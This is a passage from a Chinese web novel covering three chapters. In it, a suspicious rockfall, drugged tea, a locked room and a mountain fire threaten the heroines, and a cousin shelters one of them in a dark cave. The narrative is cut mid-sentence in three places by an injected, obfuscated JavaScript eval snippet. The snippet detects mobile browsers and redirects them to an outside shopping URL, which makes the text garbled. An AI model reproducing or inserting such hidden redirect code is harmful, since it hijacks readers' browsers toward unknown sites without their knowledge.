瑷宁走在最后,她忍着眩晕又向那水潭看了一眼。除了风吹起的涟漪,水面已经归于平静,坠石无影无踪。但她刚才看到了,那石块足有男人的拳头那样大!她又抬头看看上面,同样毫无异常,崖顶的草在风中轻轻摇摆着。 瑷宁心中擂鼓一般。怎么会突然落下一块石头,偏偏如此凑巧,不早不晚,不前不后,刚好就在花瑶和表姑娘站在那里时。 那石头似乎是向着花瑶去的,但也说不准,要不是表姑娘反应快,至少有一人,甚至两人都会被砸中。不用问后果——不死也是重伤。瑷宁出了一身冷汗,不敢再想下去。 那么一块石头,要砸人,当然是够大了,可又是小孩子就能搬动的。有可能是被风吹下来?风不算很强,可也许石头本就在崖边上,稍有风吹草动就会滚落。瑷宁甚至希望风再大些,好证实这个猜测,否则…… 草很高,完全可以躲一、二个人,只要快快缩回身子,下面的人就看不到了,还有足够的工夫神不知鬼不觉溜走。瑷宁想自己是那人会如何,胃里不由一阵翻滚。 她畏高,但她想,对有些人来说,这事太简单了。不行,得去上面看看,或许会有发现。 等回到行宫内,早有腿快嘴快的先说了经过。宫女陪着花瑶和银荷去换衣服,其他人三两聚在一起议论着。映雪听了花瑛的述说,吓白了脸。 瑷宁偷眼看去,年轻女孩们都慌慌乱乱、手足无措,长了几岁的也是心有余悸、强自镇定的样子,瞧不出任何异常。 她招呼丫环青岚:“你回去,先去找大爷,让他立即过来,越快越好。” 青岚刚离开不久,太子妃急急忙忙走来。瑷宁以为她要过问此事,谁知她说:“宫里来人说有紧急要事,我得立即回去,实在对不住各位了。” 经过刚才的意外,众人谁也没心情再玩乐,见如此都愿意尽快下山回家。只有瑷宁说:“能否允我多留一会儿,外子会过来接我。” 太子妃点头应允:“请尽管自便就是。”说完她又是匆匆地离去。 瑷宁便对映雪等说:“让由妹妹留下陪我一会儿,等大爷来了叫他去看看情况。” 映雪焦虑道:“快回去吧,再有事,老太太要是知道了——” “我看不会有什么,我们接着也就回去。既然都没事,索性别在老太太面前提起,何必要她担心。就说我们去别处玩了。”瑷宁说。 见她平静自若,映雪也就不再多言,答应带花瑛姐妹先回家,在老太太面前找个借口瞒着。 等银荷二人更衣回来,太子妃的马车已经启程下山了,其他人也都收拾停当,不多时,一众车马走了个干净。 瑷宁向银荷道:“咱们先去那边坐一会儿。我让人去叫你表哥来了。”说着她率先向一翼飞亭走去。 她坐好也不看银荷,只望着亭外沉思。这一向两人见面都这么不尴不尬的,银荷先憋不住,问道:“怎么了?大嫂是怀疑……” “你知不知道有谁想要害你?”瑷宁突然打断道,犀利地瞥她一眼,“——除了我。” 银荷一下子呆住,回过味后她笑起来,瑷宁也一起笑了。这一笑就同时表明了道歉和原谅——道歉是相互的,原谅也一样。 “我想不出。” “或者也有可能是想害三妹。”瑷宁思忖道。 “谁会要害瑶妹妹呢,她那么好,碍着谁了?”银荷心里发紧,“大嫂真的觉得刚才不是意外?” “还说不上来。等下再去看看,说不定能发现蹊跷。” “那我现在去。”银荷跳起来。 “别忙。”瑷宁拉住她,“我这会儿还肉跳呢,先陪我坐着。就剩我们两个,万一再出点儿差错,我跳到那水潭子里也洗不清。你表哥骑马快,等他到了,天还不会很晚,让他去。” 银荷想她是叫了花澈来,但不好多问,坐下说:“万一……万一真不是意外,咱们怎么找出是谁干的?” “就怕这个。”瑷宁叹口气,“我实在腻歪了猜来猜去。” 可银荷忍不住要猜:“会不会这里埋伏了刺客,本来想害太子妃的,结果一时错手……”她又讪讪说,“不可能,怎会有这么笨的刺客。” 瑷宁心道怕是反过来,太子妃本人嫌疑更大。人是她特意请来的,地点是她选的。可是说不通啊,又没有深仇大恨,总不至于见表姑娘貌美,就起了杀心以绝后患,那也未免太无的放矢了。 一位宫女捧着茶盘走来,倒好茶便默默退开了。 “好香的茶,太浓了些。”瑷宁皱起眉,“也罢,还有的折腾呢,正好提提神。” 银荷对茶水本不挑剔,随意喝了几口。她刚放下杯子,便感到一阵头晕目眩,想要去看瑷宁,可是既动不了头也张不开嘴。“我怎么了……”一念未转完,她看那亭柱向她倒过来,旋即就失去了所有知觉。 . 花沛在衙门里,看到瑷宁的丫环急慌慌赶来,不禁心狂跳,几乎不敢张口问话。好在青岚三言两语把经过说清楚了。虽然很惊险,但大家都没事,万幸万幸。 可是瑷宁何必还叫他速速赶去,花沛不及深思,立刻照办了。 山路很安静,安静中又透着不详的意味,即将大祸临头一般。花沛紧催着马,越向上走,心却越向下沉。 太子行宫外一个人影不见,他直直走进去,仍旧是不闻声息。 她们已经走了?花沛正预备去找找看还有没有马车,一位侍女走上前,急急说:“这边来。” 花沛还没顾上向她提问,稍顷,两人来到一间屋子前。“在里面。”侍女简短地说。 花沛心神不定,没看出这是间卧房,也没察觉侍女神色慌乱。他毫不怀疑地跨进去,门在他身后关上了。 屋内很暗,已经早早点上了灯,透出几分诡异,此外,再没有能引人注意的东西,除了一张床——薄被下躺着一个人。 花沛不用看也知道那会是谁,但他还是上前看了一眼。然后他喘着气,退后两步。 表妹死了。他的心仿佛被重重锤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208936|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,表妹死了。 表妹死后的样子依然很美,不像一个死人。他自己还更像一些,他全身的血好似都流光了,只剩一片冰冷麻木。 他还活着,偏偏是表妹死了。再美又有什么用,她会化为一具白骨。她本该和相爱的人白首到老,会有人很珍惜她,超过他能知晓的极限。可是她死了。 是他害的。毫无疑问,是他对表妹的执念害死了表妹。所以他被叫来,亲眼看看他做的事。他还能算是人吗? 门外有金属碰撞的声音,花沛想了一会儿才明白,那是有人在门上挂了锁。不对!他惊醒过来,何至于要将他锁在这里。他应该大喊,但是想必没用,而且还有更要紧的事。 他伸出一根手指,在表妹鼻子下面探了探。他的手指颤抖,什么都没探出来。还有更简单的办法,他可以摸摸她的脉搏,或者轻轻碰一下她的手,感觉她的体温。不过他都没有做。深吸一口气,他再次伸出手,用另一只手稳住手腕。表妹还在呼吸,她还活着。花沛长舒一口气,险些坐到地上。 也许是他糊涂了,表妹的样子和他记忆中、和他在脑中想过无数次的样子一点儿也不同。就是因为这个,他刚才第一感觉会是表妹死了。 他可以再看看,重新确认,但是没有必要。花沛退到离床最远的地方。表妹是什么样不重要,只要她是一个活生生的人。而他,依然有机会可以做一个人。 只要出去就万事大吉了。花沛去拉门,果不其然,门已被牢牢锁死。门向内开,里面撞不动,只能从外面撞开。他大声喊人,毫无动静。 他再环顾这间屋子,看来像是宫女的寝室。房间没有窗户,只有一张床,一个小柜子和一张桌子。他拉开柜子看看,里面叠放着几床被单。 花沛丧气地合上柜门,细细回忆之前的事。青岚不会撒谎,瑷宁是要他过来。之后,到底发生了什么,怎么大家都走了,只留下表妹?刚才那个侍女他没见过,那打扮似乎不像行宫里的人,不过很难说得准,此时只能懊悔没有好好看清。 不知为什么人都走光了,平时也该有几人留守,只是不晓得他们在哪儿,能不能听见他。 差不多半个时辰里,花沛隔一会儿就拍门呼喊几声,始终无人应答。他渐渐灰了心,看来只能等到有人发现他和表妹不见,来找他们。这不就是那人的目的吗,让他们陷于这种境地。 表妹大概是吃了什么药,一直昏睡不醒。到底是什么人,竟会想要害表妹。或者只是冲着他来的,表妹不过无辜受牵连。不,没有这么简单,还有那块从山上滚落的石头。瑷宁一定是察觉出什么,才会要他来。无论如何,那个人都太过阴险歹毒。 要是他们被人发现……他倒没什么可忌惮的,身正不怕影子斜,他会说清楚。别人信不信没关系,只要瑷宁信他。瑷宁一定会信他,就好像自己永远相信她一样。 可是对表妹来说,事情要难得多。女孩儿家的名声太宝贵也太脆弱,禁不起一点儿流言蜚语。难道他还是害了表妹一辈子? 花沛越想越心惊,不禁冷汗直冒,他用手在额上抹了抹。不是冷汗,屋子仿佛在变热。 他靠在门边,仔细听去,远处确实有些动静。他用了很久才猜到,那是草木在火里燃着的声响。 46. 山火 “三公子看呢?” 久无回应。对方尴尬地清清嗓子,花澈这才看向他。 “改日吧。”花澈突兀地站起身,唤元宝,“回去。” 元宝暗地里偷笑,嘴上不敢吭声。可出得茶楼,连元宝亦觉出一种惶惶不安之气氛:街道上的人乱纷纷地向前跑,在路口拥了一堆,不知道在瞧什么热闹。 花澈也不问,只管上了马,转眼跑到开阔处,再一抬头,见西北面那方天空隐隐透着暗红色,下面是山,山顶上有浓烟腾起。 他一把勒住马,心里头算了一会儿:烟是从西面山上升起来的,行宫在东南侧山腰……今日刮着西风,火势蔓延会相当快……这时下山,倒也绰绰有余……说不定早已经下山,眼下都到家了。 可他心里乱了一整天,总不会全无来由。 “你在山底下等着。”元宝还在愣怔,听到这么一句,再看黑马,一团烟般不见了。 . 花沛倚在门上苦笑。 表妹仍在熟睡之中,丝毫不知末日将至。也好,希望她一直不要醒来,就这样无知无觉地走。愿她来世幸福,至少再不要碰到自己。 他又端整了端整衣衫,但愿自己能够堂堂正正去见阎王。可他没法心平气和赴死,他心里还在乱糟糟地想:瑷宁到底在不在山上? 若她没能下山呢?这个念头在胸中如刀一般绞着。 不行!表妹不应就这么死去,他也不能丢下瑷宁。 花沛再次向四面墙壁细细看了一遍,仿佛这便能发现漏掉的一扇窗或一扇门。 看来看去也只有一扇门。他又撞了几次,同样是徒劳。他颓然坐倒在地。 “有没有人?”远处传来喊声。 花沛以为出现了幻觉,可那是花澈的声音。他一下跳起来。 “三弟!这里!在这儿!”花沛用尽力气大声喊,恐怕花澈会听不见走开。 谢天谢地,不待他喊第二遍,花澈就来到了门外。 “大哥?等等,我找东西砸开锁。”随即他又问,“你看见表妹没有?” 花沛正在喜出望外之中,甚至没多想花澈为何会来此。但花澈确实是此刻他最愿意见到的人——当前处境,不管碰到哪个,都难免解释不清楚。唯有三弟,万千妥当,表妹的闺誉总算能保住了。 可他高兴不过一瞬。听到花澈问“表妹”,花沛如坠冰窟。 三弟是为了表妹来的,只听他声音里的焦急就能明白。自个儿枉作大哥,真是糊涂透顶,怎么到如今才发觉——于所有人之中,只有表妹一人,三弟见到时总是带着笑;只有表妹一人,三弟喊她“妹妹”。 花沛额头抵住墙,艰难地张开嘴,根本不知是如何吐出了这些字:“表妹在这里,她还没醒来。” 门外一片静默。花沛想,在花澈进来杀死自己之前,还来不来得及央他去找找瑷宁,救出她…… 他可以自己了断,不用经兄弟的手,让他背上个弑兄的罪名…… 花沛没法再想下去,砸锁的声音狠狠砸在他心上,一下,两下。 门打开了,涌入一团辛辣呛人的热气。花沛禁不住咳嗽,他站开来,头也偏到一边,没看见花澈的脸,但他感觉到,花澈也没看他一眼,径直走到床边。 花沛呆呆地望过去,见花澈翻开表妹眼皮看了看,从怀中掏出一个小盒子打开,将里面的东西抹了些在她鼻子下,又将手中一块湿帕轻轻盖住她的下半张脸。 然后,他站起身,又拿一块布撕做两半,一半递给花沛说:“表妹没事,过会儿能醒。你骑我的马下山,快,再不走就晚了。” “瑷宁她……” “大嫂?”花澈皱起眉,“快去找,还有谁在?” “我来时没见到人。是你大嫂叫我来……” 不等听他说完,花澈已经奔了出去。 一出屋子,从不远处飞旋来的烟尘灼得花沛流下眼泪,他什么都不再想,朝着和花澈相反的方向,一间屋一间屋地搜寻下去。 好在其它屋子都没锁,他找进去第三间,就看到了瑷宁。她也是很安静地躺着,宛如在甜梦中。 花沛的心好像又重新开始跳动了,从他上山起就始终挥之不去的恐惧终于离开了他,他上前抱起妻子。 “找到了!”他抱瑷宁出来,同时大喊。 花澈瞬时跑过来:“好了,没其他人了,你们快走。” 一边向外面走,花澈一边说:“你们什么都别管,等我回去。元宝在山下,让他安排,别要家里知晓。” 花沛全无意见,只是看到花澈的黑马时,说:“我骑了马来。” “你的马不见了,就是在也不顶事儿。来吧。” “那你们……”花沛停住。 “大哥放心,我知道这里有个地方,可以先躲躲。”花澈抬头望望天空,“不要紧,最迟明天我们会回去。” 在那片深紫红的天空下,墨球不住扬蹄嘶鸣,直至花澈走到近旁才安静下来。 花沛让瑷宁趴在马背上,自己坐好,再将她抱起在怀里。然后,他转头看向花澈。 “我没有。”他说。 “我知道。” “以后也不会。”他终于有勇气直视兄弟的眼睛。 “我知道。”花澈点点头。“快走吧,不然真来不及了。”他在马身上拍拍,黑马如箭一般直冲出去。 花澈即刻转身,三两步跑回刚才那间屋子。银荷已经站在门外,看见花澈,她脸上惊愕慌乱的神情消失了,大声喊着:“有个水潭,跳下去就好。大嫂……”一阵咳嗽让她没法接下去,她只好又捂住嘴。 “大嫂没事,就我们两个,别说话。”花澈也喊。 银荷这时已望了一圈,浓烟在四面八方呼呼卷着,只能勉强辨出方向。从行宫后方,火苗如长舌,沿着地面嘶嘶地舔过来。通往水潭的路一定已经没有了。她不由后退一步,无望地向花澈看去。 “没事。”花澈拉过她的手,“这边来。” 他们极快地穿过一排长廊,也许也经过了当时和瑷宁一起吃茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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原来是只老鼠。银荷惊骇未平,又升起一阵恼怒:花澈刚才不吭声,分明就是要吓唬人。还用他吓唬吗,谁在这种地方不害怕? 她屏住呼吸,悄悄儿的,一点儿声响都不出的,向一旁挪了几步。——找不到她,看他会不会着急。 花澈丝毫没有表现出寻找她的意图,也压根没有犹豫、迟疑,甚至像全没费什么心思,两步就跨过来,稳稳立在她的身前。“我来了,妹妹害怕?” 他的声音有点儿哑,银荷的怒气不由消了两分。“你能看到?”她大为惊诧。 “我虽看不到别的,但能看见妹妹。” “胡说!这么黑,狼都看不见。” 花澈笑了:“狼也不是全凭眼睛。这里面的窍道——你听过吗,有句俗话——” 他没说完,却又停住。银荷还在等着是哪句“俗话”,忽然感觉后颈窝酥酥痒痒,随即移至耳侧,便听花澈在她耳畔低语:“闻着香,尝起来必定更美。” “哪有——”她突然醒悟,抽身回手就是一下。“啪”的一声,穿破厚重的黑暗,格外清脆响亮。 47. 漆黑 听见声响,银荷愣了一忽儿。她没想到瞎猫遇上死耗子,居然打中了。这一下必是不轻,她用了大力,不光手掌,半条胳膊都震得发麻。 “以前我捡到只受了伤的小鸟,也是这般,先啄我一口。”花澈说,语调像是有点委屈。 “谁让你——”银荷停住。随着那一掌下去,她的气早已散了。虽然是这个老脸厚皮的家伙咎由自取,但她竟然有些后悔。 “你干嘛不躲开?” 花澈这才笑了:“第一,妹妹太快,我躲不了。第二,原本就是我的错,怪我来得太晚,让妹妹受了惊吓。只要妹妹能出气,我挨几巴掌算什么?当时被那鸟儿反啄一口我都高兴,说明它还有劲儿,伤会好的。——更何况是妹妹。” 银荷的心终于落回原位。突然间人事不省,肆虐的山火,墓穴般的黑暗——她好像让大风卷上高空,转得七荤八素后又被抛落,抬眼所见皆是面目全非。只有花澈一如既往。谢天谢地,只要他这副腔调不变,万事颠倒,也总能一点一点正回来。 见她不吭声,花澈又说:“妹妹要是还不解气,再多打几下也无妨。” 银荷不理他:“到底出了什么事?大表嫂呢?” “大哥带她下山了,我让他们骑走了墨球。马儿怕火,呆不住,都跑了。” 银荷只当是瑷宁一起叫来了花沛和花澈,急忙又问:“大表嫂是不是也晕了,和我一样?” “是。怎么回事?你们两个当时在做什么?” “大表嫂说,等你们来,看看那块石头是如何掉下去。那时其他人都下山了,只有我们两个在亭子里坐着,有人送来了茶,喝了茶后……后面的事就不知道了。”银荷忽然想起来,“过去多久了?刚才那个屋子,我们——” “来的时候你就在那屋里。”花澈含混地说,“没过去很久,眼下约摸是酉时。你说的是什么时候的事,什么石头?” “今天早晨……”银荷定定神,简单讲了观看星潭以及遇到落石的经过。 花澈在黑暗中锁起眉头。事情可真奇怪,想不出能是什么缘由。但他没有再想。总会搞清楚的,只要人没事就行。只要人没事!他突然生出惧怕,怕得心直颤抖,若要缓解,除非能清清楚楚地证实她确在面前,要像眼见旭日东升那样千真万确。 太黑了。 他在黑暗中抬起手,又放下,笑笑说:“没关系,不必想了,等火烧过去,咱们回去了再说。” “怎么会起这么大的火?” “山林里着火就是这样,没法子,只好躲一躲。这地方不舒服吧,妹妹是不是累了,咱们先坐下来。”花澈安抚道。 不知茶水里掺了何药,劲儿还没完全过去,之前银荷全因紧张,一根弦硬绷着,如今陡然松懈,便觉出疲累、站不住,何况又是这么漆黑一团的地方,整个人更加昏昏沉沉。听到说坐下,她立即感到不能自支,腿一软,身子就要落下去。 “没让你坐地上。”花澈一把拽住她的胳膊。 “这儿还有椅子?”银荷徒劳地向四周转着脑袋。 “我想想,好像是有些家什。不过妹妹还是别碰着的好,大概挺久没人来过这里,太脏了。我可以抱着你。” “我不怕脏。”银荷赶快挣开,倒退几步。 “也不怕虫子?” “有虫子?”银荷微微跳了一下。 可不是么,竟会忘了虫子。 银荷半点儿都没怀疑花澈危言耸听。这里又黑又潮,怎么没虫子,干脆就是虫子的老家!黏糊糊的蛛丝似乎就在头顶飘荡,或许已经有一两只蜈蚣无声地从她的鞋面上蜿蜒而过…… 她恰巧怕虫,尤其怕在暗处钻的那些虫:它们要么没有腿,要么有太多腿,令人头皮发麻。 银荷打了个寒噤,尽着女孩家尊严允许的限度,朝花澈挪过去半步。 “这可不如鸟儿。”花澈忍着笑,一把抱起她。“这样就不用怕了,虫子不敢往男人身上爬。” 瞬间,银荷有些惊慌,像朵小水花般扑腾了两下,随即,她长长出了一口气,便不动了。 心里头想:若果真有虫钻进鞋子,说不定我还一头扑进他怀里,那时又算什么?何况对花澈还不知道么,他就是这般,大可以当他是好心。若我喊叫,引他胡说八道,岂不更羞人? 打定主意,银荷便不吭声;虽不吭声,她还小心提防着,凭借气息估算距离,使两人的脸不要挨得太近。 然而,毕竟很近。银荷忽然发现自己的手臂环在他肩上,像是上回…… 她的脸一下子烧烫烧烫的。一直以来,她把那件事扔进心底最偏僻的角落,从不肯去碰。偏偏是这时候!要是能喝口水就好了,她差点儿忍不住想要摸摸自己干渴的嘴唇。她的心怦怦地突突地跳个不住。 花澈也没再对她说话。他自言自语道:“好像应该在这边。”一面抱着她,一面当心地着向前走了几步又停住,“不对,是这边。”再走了十几步,这才碰到了什么东西。他放下银荷,“妹妹稍等下。”一阵拍打拂拭的声音,又是一阵风,这是花澈解下了外袍,兜头将银荷严严实实裹在其中,然后他抱她稳稳坐下。 花澈心醉神迷,平复了一会儿,感到银荷在怀里僵僵地支着身体,又暗暗想笑,一面轻轻把她的头靠在自己胸前,一面说:“怪我考虑不周,没带火折子来,只好委屈妹妹了。不过这里实在也没什么好看的,妹妹不妨再睡一会儿。” “我们会死在这里吗?”银荷忽然又想起外面的大火。 “不会。”花澈说得很肯定,又小声道,“假若要死了,那就不必管对与不对。”他小心地摸到银荷露在外面的那只耳朵,用手把它捂紧,才接着说,“真要死在这里,我可要做些不对的事。” “什么不对?”银荷担心起来,以为另外还有难处,花澈有意瞒着她。“快说,我不怕。” “我也不怕告诉妹妹,只是时候不对。”花澈放开手,抚慰地拍拍她,“我说咱们没事,等这一片烧完,甚至你还没待够的时候,就能出去了。” “谁没待够?”银荷抗议道。 “是我,是我待不够。妹妹在的地方,哪里都是鸟语花香。可惜妹妹厌烦我,我只好早点儿把你带回去了。” “我没有厌烦你。” “真的?那我可太高兴了。单靠妹妹这一句话,即便没吃没喝没消遣,我也可以过上三日呢。” “我们要在这里待三天?”银荷一下子弹起身。 “不会不会。”花澈忍住笑,再把她按回去,“妹妹又不是不知道我,我就是说句笑话,妹妹别当真。” 哪有这种时候只管说笑话的。银荷又恼了。 “我不过是为了鼓鼓气,省得害怕。你不会死。” “我不是怕死。” 不怕死,怕待三天。花澈心中偷笑,嘴上说:“我知道,但是我怕啊。妹妹一定会长命百岁的。” 银荷这时回想过来,有点内疚了:“我是不是差点儿把你也害死?” “哪有,离害死我还差得远着呢。再说也不是你害的。无论如何,我们总会找到那个人。” 他的衣上沾染了呛人的烟尘,却还依稀透着爽朗的味道——好像穿梭林野的凉风,很熟悉的气息。银荷轻叹一声,闭上了眼睛。靠着的胸膛宽阔、坚实、令人心安。恍恍惚惚中,她开始数心跳,不知是谁的,她已分辨不出。 “我说谎了。”她说,声音闷闷的。 “你说什么?” “我说谎了。我怕死。不光怕死,还怕好多别的事。” “比方说?” “我不想说,我怕你笑话我。” “怕死,怕虫子,怕我笑话你,还怕好多别的事?” “嗯。”银荷承认。被他这么一说,又有点儿想笑。她打了个小小的呵欠。 “不算大过错。妹妹用不着难为情。” “什么不算,害怕还是说谎?” “都没有不对。” 一种暖融融的感觉流遍了她的全身。 “三表哥——” “怎么。” “谢谢你。”过了一会儿,银荷很小声地说。 “说句谢谢就完了?”花澈故作不满道,“这种时候不是该以身相许?”说完他又自悔失言,好容易才肯安静待在他怀里的人,这下定要生气挣脱了。朝思暮想了好久,无论如何他也不舍得放开——石板落下后,第一件想要做的事就是抱住她,现在回想起来,自己都惊异刚才竟能忍住。 可是银荷一动都没动。花澈满心欢喜低下头去,这才听出她呼吸和缓,竟是睡着了。 “睡着了?你倒是信我。”花澈哑然失笑。“不该信。我可不管了——”他口里说着,一只手先抬了起来。可是抬起来后,顿在半空,却不知该往哪儿落。 自然,有想落去的地方——要是别人敢碰,定将手给他剁了,由人及己,可知此举甚是不好。要是银荷知道,很生气,该如何呢? 这么一想,左脸上一片火辣辣的。 但是,银荷如何能猜到?除非她没睡着——说不定真没睡着,当然是害羞不敢说话,还是由他说好了。该从何说起? “银荷。”花澈试探地唤了一声,屏息等待着,好像这个名字就是开启神秘宝藏的钥匙,大门打开后,不知里面会放出何等耀目的光芒。 然而什么也没发生,怀里的人还是一动不动,也许极轻极轻地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“还不知道。”花沛答。看到瑷宁责怪的表情,他突然想起她一向比自己聪明,他不可能骗过她。如果她信他,只是因为她愿意信。他怎能再辜负她? 于是他说:“我必须先告诉你一些事。” 他站起身,走到窗前,虽然离得远,但还是看着瑷宁。接着,他原原本本说了今日上山之后发生的事。不止这些,他还说了从前,那些荒唐的想法——多少打了点儿折扣。 说完后,他又来到榻边坐下,握住瑷宁的手。“我知道赔不是怕是太晚了,也太轻了。我也不是想着你就能原谅我,可是我……以后不会再让你受委屈。你从来都宽宏大量,这次能不能也……至少不要因为我难受。” 瑷宁一直没吭声,这时她扬起一对秀眉:“三弟?真稀罕。由妹妹到底好在哪儿?” 花沛温和地说:“你不是也关心表妹。” “我是像关心三妹她们一样。” “从今以后我也是。” 瑷宁好像没留意他的话,她轻轻挣开他的手,若有所思道:“这下老太太可该高兴了。” “是,但是我们先别向任何人说起。” “这又是什么说法,难不成三弟也是一厢情愿?” “我不知道。应该不是。”花沛坦然地说,“不过咱们何必管他们的事,三弟又不需要我们操心。况且……” “况且眼下还有好多麻烦事。”瑷宁接下去,“到底是谁?” 她看着花沛,半笑不笑说:“我看不难找——你的心思还给谁知晓过?” 花沛满面羞惭,无言以对。 “算了,你和三弟头疼去吧。”瑷宁挥挥手。 花沛小心地看着她:“但是你到底……我们能不能……”他不敢再问下去。 “我到底怎么?那个时候你想休了我,说不出口。现在想起我了,又说不出口?” “我从来没有。”花沛的脸白成了一张纸。 瑷宁轻叹一声,不忍心再刺他。若是别人,这口气咽不下去。可是表妹么……她们都是差点死过一遭的人了,还有什么不能过去的。 再说,表妹和三弟……真没想到啊。 瑷宁绷不住带了些笑意。“那你说能不能怎么,重打鼓再开张?” 花沛伸出手臂将她搂住:“正是这样,你说得比我好。你愿意……” “行了。”瑷宁打断他的话,从床上下来,“还想我怎么样?要不是还有这些糟心事,我倒是愿意好好乐乐。为你挂虑一场,值什么?” 花沛喜欢不尽地抱住她。 “行了行了,快放开,成个什么事体。” 花沛不肯放手。就在这时,有人在门外唤他:“大爷?” 花沛听出是家里一个管事,心想必是元宝告诉他自己在此处。已经嘱咐过元宝了,若有人来,必然是件急事。心里虽不大高兴,也只得往外走。 瑷宁已经先他一步走出去:“怎么了?” 管事慌慌张张回话道:“宫里来人说……” 48. 太子 不知过了多久,银荷从蓝幽幽的梦中睁开眼睛,被眼前的黑暗吓了一跳,猛然想起自己置身何处,一下子又僵住了。 即刻听见花澈说:“妹妹醒了?” “是什么时候了?”银荷一面说一面挣着跳下地。 “我猜过去了一夜,眼下该是早晨。妹妹平日里几时醒来?” “卯时。” “真像小鸟儿。”花澈说着也站起身,听声音是伸了个懒腰。 银荷想起上次问他还是酉时,整整过去了六个时辰。 她不禁歉然:“三表哥累了吧。” “妹妹不用担心,我一点儿都不累。” “外面……还是那样吗?” “我去看看。”花澈说时,却拉了银荷胳膊,改口道,“我抱妹妹一起去。” “不用!”银荷忙说,“我现在不怕了。” “好。”花澈声音里忍着笑。“妹妹坐下稍等,是在这边,好了。我会一直和你说话。” 果然,他一边走开,一边说:“妹妹梦到什么了?” 停了一会儿,银荷答:“我没做梦。” “就从来没有梦到过我?” “没有。”这次答得很快。 “恶梦也算。”他的话音远了不少。 “没有。”银荷大声把答话送过去。 “我看出来了,妹妹就是不肯让我高兴一下。”花澈说,不过声音听起来倒是欢天喜地。 银荷反正不搭理他,当下问:“你找到出口没有?” “找到了。”一阵像是石碾滚动的响动传来,随即听到花澈平静的话语,“妹妹坐着别动,等我先过去。现在妹妹也能高兴了,我们要出去了。” 银荷的兴奋没有持续太久,等到她在洞口待了好大一会儿,让眼睛适应光线后,外面的景象让她的心不由沉了下去。 行宫的建筑几乎已尽毁,留下的破壁残垣俱是焦色,地上泥泞一片。原来夜里下了一场雨,将余火都浇灭了。这时向远望去,只能看到黑乎乎光秃秃的树干兀自立着。除了凄凉的风声,不闻任何声响。 花澈瞅她一眼:“妹妹不用难过。就烧了这一座山头,本来这山上也没什么动物,就是有也都逃到深山里了,过几日还可以去打猎。万幸下了雨,万幸雨又停了,不然咱们可不好回去。” 一阵风吹来,银荷一哆嗦,不由就把身上袍子紧了紧,这才想起她仍披着花澈的罩袍,而他只穿条深衣,下摆还缺了一大片。花澈见了银荷目光,说:“这是昨日为了掩住口鼻撕下来的。”又赶快补上,“给妹妹那块是我的帕子,还是新的。” 银荷好笑又歉意:“帕子好像丢在下面了。”她急着要将袍子脱下来。 “丢了?”花澈大惊小怪地喊,“那可不成,妹妹得还我一块。”按住她胳膊,“妹妹穿着吧。”说着他为银荷紧了紧衣裳,又蹲身把下摆长出的部分割掉。他做得那样理所当然,银荷简直不知该如何是好。 起身时花澈很快地握了握银荷的手,“我一点儿都不冷,妹妹手有些凉。” 的确,他的手异常暖和。银荷惊异地看着他,瞧不出他是一夜未睡的样子——虽则脸上沾了烟灰,下巴冒出些许胡茬,但一点没有落拓之感,意气风发,尤胜往昔。 “妹妹要是不过意,回头做一件衣裳给我就是了。看妹妹给别人做这样那样,我心里好不羡慕。” 银荷想所谓“别人”,要不然是长辈,要不然是姑娘,要不然是小婴孩,如何能是一回事。而上次确实给他做过一只香囊,那事本来不愿他提,但如今花澈果真不提,她心中却又不高兴,嘴上只是不说话。 花澈摇头:“还是算了,我舍不得要妹妹做,妹妹就是做了我肯定也舍不得穿,一旦穿上身,一定又是再也舍不得脱下来。” “你别想得美了。我们怎么下山?”银荷问。 “还得稍微耽搁一会儿。山路不好走,等马来了咱们再下去。顺便我去瞧瞧,石头从哪儿掉下去的?” 这时雨虽住了,天色却还阴沉。不过他们出来这会儿功夫,东边天空更亮了一些,各处都能看得清楚了。两人走到崖边,石缝中的草俱已被烧光,黑乎乎的岩石裸露出来。 花澈上前仔细察看,又用手去推每一块石头。下雨后土松,但岩石都很牢固。他走了很远,找来块木瓜大小的石头,放在崖边两块大石夹缝中,对银荷说:“我去下面能看见水潭的地方,等一下,妹妹就把这块石头推下去。” “嗯,你站得远些。”银荷答应。 话音刚落,花澈在下方喊:“好了,看见水潭子了,妹妹能看见我吗?” 银荷蹲下,抱紧石头,探身去看,花澈正站在昨日她站的地方。 “看到你了。”两人对视一眼。 然后花澈向旁走开两步:“好,推吧,用力。” “你再站远些。”银荷喊。 花澈冲她笑笑,又退开三步。 银荷使劲一推,石块几乎笔直地从两块岩石间坠下,“嗵”一声砸进水潭,紧接着,嗵嗵嗵,是她的心跳。 花澈没说话,也没向上或向下再看一眼,转身就往回走。 他步子快,走回来也用了一盏茶工夫,足够那个人溜走。花澈见到银荷时,嘴巴紧紧绷着。 银荷颤声说:“昨天是有人在这里?” “你怎么躲开的?”花澈问,声音很是严厉。 银荷没察觉。“我不知道,就是觉得身后不对劲。” 花澈没出声。照落石的速度,她能躲开,甚至还救下花瑶,除了命大似乎没其它解释。 或许就差一丝头发的距离,他就再也见不到她了。 一场火已经把所有痕迹烧了个干干净净,花澈不禁感到烧得好,这个破地方就该烧掉,可惜那人跑了。 石头是故意给推下去的,成不成,都是神不知鬼不觉,不失是个高明的法子。若没有后头的事,说起来,别人会只当是个意外。 可后头的事情却做得笨了,留有许多破绽。 花澈想了一会儿,推测那人害人不成,听见花沛要来,着了慌,临时想了个点子,以为这样一来,花家忙于掩饰丑事,就顾不上追查。 